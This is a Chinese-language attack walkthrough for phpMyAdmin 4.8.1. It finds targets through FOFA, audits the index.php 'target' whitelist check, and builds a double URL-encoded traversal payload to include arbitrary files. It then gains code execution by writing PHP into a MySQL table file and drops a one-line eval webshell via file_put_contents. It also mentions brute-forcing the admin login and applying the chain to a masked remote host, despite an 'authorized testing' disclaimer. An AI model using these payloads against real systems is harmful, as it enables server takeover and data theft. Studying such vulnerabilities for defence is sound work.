本次实践是在合法授权情况下进行,数据已经全部加密,目的是要是提供思路交流学习,请勿用于任何非法活动,否则后果自负。
通过FOFA搜索带有phpMyAdmin 4.8.1的目标站点,目的是测试能否通过信息收集来获取被测站点,发现站点后获取相关版本信息。
本地搭建4.8.1版本phpMyAdmin环境
对代码进行升级,先寻找包含include 的函数,尝试寻找文件包含漏洞,发现/index.php文件下存在危险函数include $_REQUEST['target']。
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target']) //target传参不为0或null
&& is_string($_REQUEST['target']) //target传参必须为字符串
&& ! preg_match('/^index/', $_REQUEST['target'])//target传参不能是index开头
&& ! in_array($_REQUEST['target'], $target_blacklist)//target传参不能在黑名单
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target']; //这是突破口,但需要满足以上的条件
exit;
}
if (isset($_REQUEST['ajax_request']) && ! empty($_REQUEST['access_time'])) {
exit;
}
看出来,target传参需要满足以下条件,具体解析可以继续看下去
1,target传参不为0或null;
2,target传参必须为字符串;
3,target传参不能是index开头;
4,target传参不能在黑名单;
$target_blacklist = array (
'import.php', 'export.php'
);
5,target传参要看Core::checkPageValidity($_REQUEST['target'])的返回结果,这里需要使用payload:server_binlog.php%3f/../1.php
继续定位Core::checkPageValidity($_REQUEST['target']),逐个方法进行过滤排查,具体含义请看补充的代码备注;
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false; //如果$page入参非字符串,就返回false,基本不太可能非字符串
}
if (in_array($page, $whitelist)) {
return true; //如果$page在白名单的数组中就返回true
}
$_page = mb_substr(
//自定义函数mb_substr()是返回字符串的一部分,举例echo mb_substr("菜鸟教程", 0, 2);后输出:菜鸟;一句话总结就是聪哪里切,切多长;
$page,
0,
mb_strpos($page . '?', '?')
//返回要查找的字符串在个别字符串中首次出现的位置,如果123123?1,那对应的位置就是6,其中使用问号来监测,是因为include中不能有?,否则会报错,因此代码写的还是考虑比较周全的。
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
如果$whitelist = self::$goto_whitelist; 显示,如果形参中没有$whitelist[],那就会在默认白名单中补齐;
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
前面的代码可以说是无懈可击,但问题出在了后面的$_page = urldecode($page),问题点,此处对url进行了一次解码,本来?放到url中会报错,但编码后%3f就不报错了,因为会进行解码,get请求会进行一次url编码和解码,但post请求却不会,不过这里的接收方式是REQUEST,其中包含了get和post两种方式。那这样我就可以拼接payload:server_binlog.php%3f/../1.php来包含带有shell的文件了。
$_page = urldecode($page);
//问题点,此处对url进行了一次解码,本来?放到url中会报错,但编码后%3F就不报错了,因为会进行解码,get请求会进行一次url编码和解码,但post请求却不会,不过这里的接收方式是REQUEST,其中包含了get和post两种方式。那这样我就可以拼接payload:server_binlog.php%3f/../1.php来包含带有shell的文件了。
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
接下来在本地测试绕过思路,在主路径上配置2.php文件,通过包里破解进入phpmyadmin中,进行文件包含漏洞测试。
1,根据之前代码审计,拼接如下链接
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php?/../../2.php
2,因为php框架会get请求解码一次,因此变形
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%3f/../../2.php
3,因为代码中为了兼容性,还会再解码一次,因此再变形
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%253f/../../2.php
请求后,发现读取包含文件成功!
那问题来了,那如果对远程服务器来说,在不上传新文件的情况下,如何能getshell呢,在mysql中发现,每一个表都是对应一个文件,在字段值里面写shell不就等于是在文件中写shell么。。。因此进一步确认;
在phpmyadmin中写shell,然后在文件路径中发现保存成功;
然后通过文件包含的路径去访问,发现getshell成功~!但无法通过蚂剑进行链接,因为需要cookie,所以思路转变为想办法写马,来生成新的文件;
先查下路径
SELECT @@basedir
然后访问校验
http://192.168.186.129/phpmyadmin/index.php?target=server_binlog.php%253f/../../../mysql/data/ab.frm&8=phpinfo();
通过phpmyadmin的爆破工具进入后台(网上很多这方面工具),然后一样流程写shell;
通过路径访问,发现getshell成功;
http://XXXXX/phpmyadmin/index.php?target=server_binlog.php%253f/../../../../../../../../XXXX/MySql/data/1_18/abc.frm&8=phpinfo();
然后进行写文件马成功;
file_put_contents('ma.php','<?php @eval($_REQUEST[8])?>')
验证写马成功
连接蚂剑,愉快的webshell走起。